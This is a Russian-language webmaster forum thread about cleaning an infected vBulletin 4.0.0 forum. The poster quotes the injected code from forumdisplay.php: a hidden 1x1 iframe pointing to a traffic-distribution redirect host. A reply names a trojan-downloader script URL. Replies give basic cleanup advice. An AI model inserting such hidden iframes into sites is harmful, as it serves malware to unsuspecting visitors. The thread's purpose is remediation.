Удалить вирус с vBulletin

12
[Удален]
1231

Подскажите пожалуйста как найти и удалить вирус на vBulletin 4.0.0 ?

N
На сайте с 06.05.2007
Offline
419
#1

1. найти вирус

2. удалить.

разве не очевидно? там тысячи возможных сценариев заражения.

Что конкретно вы уже пробовали и что не получилось ?

Кнопка вызова админа ()
[Удален]
#2
netwind:
1. найти вирус
2. удалить.
разве не очевидно? там тысячи возможных сценариев заражения.

Что конкретно вы уже пробовали и что не получилось ?

Мне пишет такое

мой сайт www. содержит материалы сайта shttps.co.cc, который, по имеющимся данным, распространяет вредоносное ПО. Ваш компьютер может подвергнуться вирусной атаке при посещении этого сайта.

Google обнаружил, что на ваш компьютер могут быть установлены вредоносные программы, если вы продолжите просмотр этого сайта. Если вы посещали его в прошлом или доверяете ему, вполне возможно, что он недавно был взломан хакерами. Рекомендуется прекратить просмотр и посетить сайт завтра либо перейти на другой сайт.

В файле forumdisplay.php я нашел подозрительный код

</head>

<div style="display:none;"><nofollow><noindex><iframe src="http://code-club.ru/sTDS/go.php?sid=4" width="1" height="1" frameborder="0"></iframe></noindex></nofollow></div>

<body>

возможно что это вирус?

$$$
На сайте с 24.07.2007
Offline
106
$$$
#3

да, ссылка на тдс ,а от туда куда угодно.

Максимальная прибыль с тизеров, еженедельные выплаты. (http://goo.gl/WmmWm5)
[Удален]
#4
$$$:
да, ссылка на тдс ,а от туда куда угодно.

не очень понял что такое тдс ?

MS
На сайте с 01.08.2011
Offline
4
#5

Адрес сайта можете скинуть?

N
На сайте с 06.05.2007
Offline
419
#6
Piratseo:
В файле forumdisplay.php я нашел подозрительный код
</head>
<div style="display:none;"><nofollow><noindex><iframe src="http://code-club.ru/sTDS/go.php?sid=4" width="1" height="1" frameborder="0"></iframe></noindex></nofollow></div>
<body>

Если вы сами не ставили этот код, значит надо удалить. Разве не логично?

MS
На сайте с 01.08.2011
Offline
4
#7

1. Ищите шелл

2. Меняйте пароль от админки

3. обновляйте версию булки(vbulletin)

R
На сайте с 24.01.2008
Offline
180
#8

Стучите поможем!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
[Удален]
#9
MuSkAtuS:
Адрес сайта можете скинуть?

Кинул в лс

MS
На сайте с 01.08.2011
Offline
4
#10

Ага, вот тот iframe который вы ищете - http://http.wen9.com/ajax.js TrojanDownloader.Iframe.NKE

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий